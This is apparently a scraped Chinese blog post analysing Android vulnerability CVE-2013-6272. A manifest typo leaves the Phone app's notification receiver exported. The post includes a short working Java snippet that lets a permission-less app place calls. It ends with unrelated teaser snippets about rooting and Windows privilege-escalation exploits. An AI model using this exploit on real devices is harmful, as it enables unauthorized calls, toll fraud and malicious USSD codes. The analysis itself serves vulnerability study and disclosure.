CVE 2013-6272 Android phone提权打电话漏洞分析

  1. 简介

这一类漏洞由德国的安全研究机构Curesec所发现,去年年底的时候秘密告诉Google,直到今年7月份的时候才决定公布一个类似的漏洞。这个漏洞涉及到com.android.phone.PhoneGlobals$NotificationBroadcastReceiv的组件暴露问题,导致恶意的应用程序无需声明任何权限就可打电话。

2. 漏洞细节

在Android源码(以JELLY_BEAN 4.3为例) /packages/apps/Phone/src/com/android/phone/PhoneGlobals.java存在一个名为NotificationBroadcastReceiver的BroadcastReceiver.

public static class NotificationBroadcastReceiver extends BroadcastReceiver {
        @Override
        public void onReceive(Context context, Intent intent) {
            String action = intent.getAction();
            // TODO: use "if (VDBG)" here.
            Log.d(LOG_TAG, "Broadcast from Notification: " + action);

            if (action.equals(ACTION_HANG_UP_ONGOING_CALL)) {
                PhoneUtils.hangup(PhoneGlobals.getInstance().mCM);
            } else if (action.equals(ACTION_CALL_BACK_FROM_NOTIFICATION)) {
                // Collapse the expanded notification and the notification item itself.
                closeSystemDialogs(context);
                clearMissedCallNotification(context);

                Intent callIntent = new Intent(Intent.ACTION_CALL_PRIVILEGED, intent.getData());
                callIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK
                        | Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS);
                context.startActivity(callIntent);
            } else if (action.equals(ACTION_SEND_SMS_FROM_NOTIFICATION)) {
                // Collapse the expanded notification and the notification item itself.
                closeSystemDialogs(context);
                clearMissedCallNotification(context);

                Intent smsIntent = new Intent(Intent.ACTION_SENDTO, intent.getData());
                smsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                context.startActivity(smsIntent);
            } else {
                Log.w(LOG_TAG, "Received hang-up request from notification,"
                        + " but there‘s no call the system can hang up.");
            }
        }

从代码中可以看到这个PhoneGlobals$NotificationBroadcastReceiver根据接收Intent的三种action,触发不同的动作:

(1)ACTION_HANG_UP_ONGOING_CALL:挂断正在进行中的电话;

(2)ACTION_CALL_BACK_FROM_NOTIFICATION:发送 action为Intent.ACTION_CALL_PRIVILEGED的intent,最终会启动拨号的Activity(为OutgoingCallBroadcaster,从AndroidManifest得知),直接拨号;

(3)ACTION_SEND_SMS_FROM_NOTIFICATION:发送Intent,启动发送的短信的Activity,这一步需要用户干预。

有趣的是,在NotificationBroadcastReceiver前有这样的注释,

Accepts broadcast Intents which will be prepared by {@link NotificationMgr} and thus sent from framework‘s notification mechanism (which is outside Phone context).This should be visible from outside, but shouldn‘t be in "exported" state.

程序员也知道这个类是不应该为导出状态的。

然而在/packages/apps/Phone/AndroidManifest.xml中却看到如下的语句,注意红色部分应该为android:exported:"false",由于程序员少敲了个android,导致false没有真正生效。

<!-- BroadcastReceiver for receiving Intents from Notification mechanism. -->
521        <receiver android:name="PhoneGlobals$NotificationBroadcastReceiver" exported="false">
522            <intent-filter>
523                <action android:name="com.android.phone.ACTION_HANG_UP_ONGOING_CALL" />
524                <action android:name="com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION" />
525                <action android:name="com.android.phone.ACTION_SEND_SMS_FROM_NOTIFICATION" />
526            </intent-filter>
527        </receiver>

在android sdk文档中有如下对receiver组件manifest中android:exported属性的说明。

  • android:exported
  • Whether or not the broadcast receiver can receive messages from sources
    outside its application  — "true" if it can, and "false"
    if not.  If "false", the only messages the broadcast receiver can
    receive are those sent by components of the same application or applications
    with the same user ID.

    The default value depends on whether the broadcast receiver contains intent filters.  
    The absence of any filters means that it can be invoked only by Intent objects that
    specify its exact class name.  This implies that the receiver is intended only for
    application-internal use (since others would not normally know the class name).  
    So in this case, the default value is "false".
    On the other hand, the presence of at least one filter implies that the broadcast
    receiver is intended to receive intents broadcast by the system or other applications,
    so the default value is "true".

    This attribute is not the only way to limit a broadcast receiver‘s external exposure.  
    You can also use a permission to limit the external entities that can send it messages
    (see the permission attribute).

当为true时表明该receiver可以接收所属应用以外的消息,而为false时,只能接收同一应用组件或同一uid应用所发送的消息。而该属性的默认值取决于是否声明Intent filter,当没有声明时,默认为flase;当声明至少一个Intent filter时,默认为true。在package.apps.Phone的manifest文件中,由于少敲了个android,实际是没有设置android:exported属性,而该文件又声明了3个intent filter,因此取默认值true。这就是漏洞的成因。

3. 漏洞利用与危害

我们先来看下Android中的正常打电话流程,比如如下的代码,用户点击Button则会拨EdiText输入框中的号码

  protected void onCreate(Bundle savedInstanceState) {
        
        super.onCreate(savedInstanceState);
        setContentView(R.layout.newmain);
        
        bt = (Button)findViewById(R.id.btn1);
        edt = (EditText)findViewById(R.id.edit1);
        
        bt.setOnClickListener(new Button.OnClickListener() {
            public void onClick(View v) {
                String inputStr = edt.getText().toString();
                
                if(inputStr.trim().length()!= 0)
                {
                    Intent phoneIntent = new Intent("android.intent.action.CALL", 
                            Uri.parse("tel:" + inputStr));
                    startActivity(phoneIntent);
                }
                else
                {
                    Toast.makeText(MainActivity.this, "请输入号码!", Toast.LENGTH_LONG).show();
                }
                }
            });

同时需要在Manifest文件中声明权限

<uses-permission
        android:name="android.permission.CALL_PHONE" />

利用上述漏洞恶意App,却不需要任何权限,只需要调用如下的代码

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.phone","com.android.phone.PhoneGlobals$NotificationBroadcastReceiver"));
intent.setAction("com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION");
intent.setData(Uri.parse("tel:xxx"));
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
sendBroadcast(intent);

由于Intent.ACTION_CALL_PRIVILEGED还支持类似于*#06#那样的USSD/SS/MMI指令,因此可能造成更为严重的危害。

4. 影响范围与POC

受影响的Android版本如下

Curesec在其网站中给出了实现POC的APP,并编写了Drozer利用模块,见[3]。

参考:

[1] http://1.xbalien.sinaapp.com/?p=171

[2] http://androidxref.com/4.3_r2.1/xref/packages/apps/Phone/src/com/android/phone/PhoneGlobals.java#1575

[3] http://blog.curesec.com/article/blog/35.html

时间: 2024-08-04 10:42:43

CVE 2013-6272 Android phone提权打电话漏洞分析的相关文章

从adb prrmission denied到理解android手机提权背后

场景描述: 1. 连接Android手机,adb shell find xxxx,显示adb permission denied: 2. Google显示需要运行在root权限下,adb root,无错误输出,再次adb shell find xxxx,仍显示permission denied; 3. 发现手机未获取root权限,尝试root精灵和kingroot一键root均失败. 原因: 1. adb是Android SDK自带调试工具(相关介绍:Android developer): 2.

android ioctl fuzz,android 本地提权漏洞 android root

目前正在研究android 三方设备驱动 fuzzer , 也就是下图所说的 ioctl fuzzing, 下图是由keen team nforest 大神发布: 欢迎正在研究此方面的人联系我共同交流进步!Email:  Blind Fuzz Smart Fuzz android 内核栈溢出android slab/slub 类堆溢出android 数组越界导致的复写内核中的重要数据android 内核信息泄漏android null pointer deference 空指针引用android

[提权]CVE-2018-8120漏洞复现

0x01 漏洞名称 Windows操作系统Win32k的内核提权漏洞 0x02 漏洞编号 CVE-2018-8120 0x03 漏洞描述 部分版本Windows系统win32k.sys组件的NtUserSetImeInfoEx()系统服务函数内部未验证内核对象中的空指针对象,普通应用程序可利用该空指针漏洞以内核权限执行任意代码 0x04 影响版本 以下软件版本受到影响.未列出的版本要么超过其支持生命周期,要么不受影响.要确定软件版本或版本的支持生命周期,请查阅Microsoft支持生命周期. W

CVE-2014-4113:飓风熊猫(HURRICANE PANDA)Win64bit提权0day漏洞

飓风熊猫被认为是原产于中国.主要针对基础设施公司的先进攻击者.我们知道它们除了拥有0day漏洞外,还有其他的三种本地特权提升漏洞.我们知道飓风熊猫使用的是"ChinaChopper"Webshell,而一旦上传这一Webshell,操作者就可试图提升权限,然后通过各种密码破解工具获得目标访问的合法凭证. 本地实验结果 使用0sayTest.exe cmd命令后,打开的权限从原来的xiaoju变成了system.

android提权漏洞CVE-2010-EASY修复【转】

本文转载自: http://blog.csdn.net/lhj0711010212/article/details/9351131 android提权漏洞CVE-2010-EASY修复 linux系统由udev提供系统设备的管理,比如提供热拔插usb设备等等.而Android把udev的工作移交给init进程.而linux中版本号小于1.4.1的udev不会检查是由内核还是用户发送热拔插信息.因此用户可以发送恶意的信息让内核加载定义的恶意程序从而取得root权限.该代码如下. 程序执行的顺序用(

zergRush (CVE-2011-3874) 提权漏洞分析

最近(终于)转Android了,2011年著名的zergrush是接触的第一个ROOT漏洞.虽然它已经过气了,只影响Android 2.2 - 2.3.6,但觉得还是有必要记录一下分析所得. 市面上各种ROOT工具基本都包含zergrush,大多是开源的zergRush.c直接编译而来.已有的分析文章: tomken_zhang,漏洞 — zergRush,漏洞 — zergRush (补充) Claud, Android提权代码zergRush分析 分析内容集中在zergRush.c的代码结构

使用powershell提权的一些技巧

原文:http://fuzzysecurity.com/tutorials/16.html 翻译:http://www.myexception.cn/windows/1752546.html https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1 然后是一个小技巧: powershell IEX (New-Object Net.WebClient).DownloadStrin

小白日记25:kali渗透测试之提权(五)--利用配置不当提权

利用配置不当提权 与漏洞提权相比,更常见的方法.在大部分企业环境下,会有相应的补丁更新策略,因此难以通过相应漏洞进行入侵.当入侵一台服务器后,无法照当相应的补丁进行提权,可通过寻找是否存在配置不当进行提权.如:代码中没有进行参数过滤等操作. 通过查看哪些服务默认以system权限启动,可尝试将其替换或绑定反弹shell程序 了解NTFS权限允许users修改删除本身,则可利用其配置不当,完成提权 XP 安装了其他软件,打开services.msc本地服务设置,查看该软件是否以本地系统权限启动 查

MS14-058 最新提权神器

MS14-058 CVE-2014-4113 最新提权神器 Win64bit提权0day漏洞(CVE-2014-4113) 所有Windows版本受影响 该安全漏洞影响了所有的Windows版本,包括Windows7 和 Windows Server 2008 R2 及以下版本.在Windows 8和英特尔的Ivy Bridge或者新一代处理器的系统中,SMEP(Supervisor Mode Execution Prevention)会阻止企图利用该漏洞的行为而使计算机变为蓝屏状态. 点我下载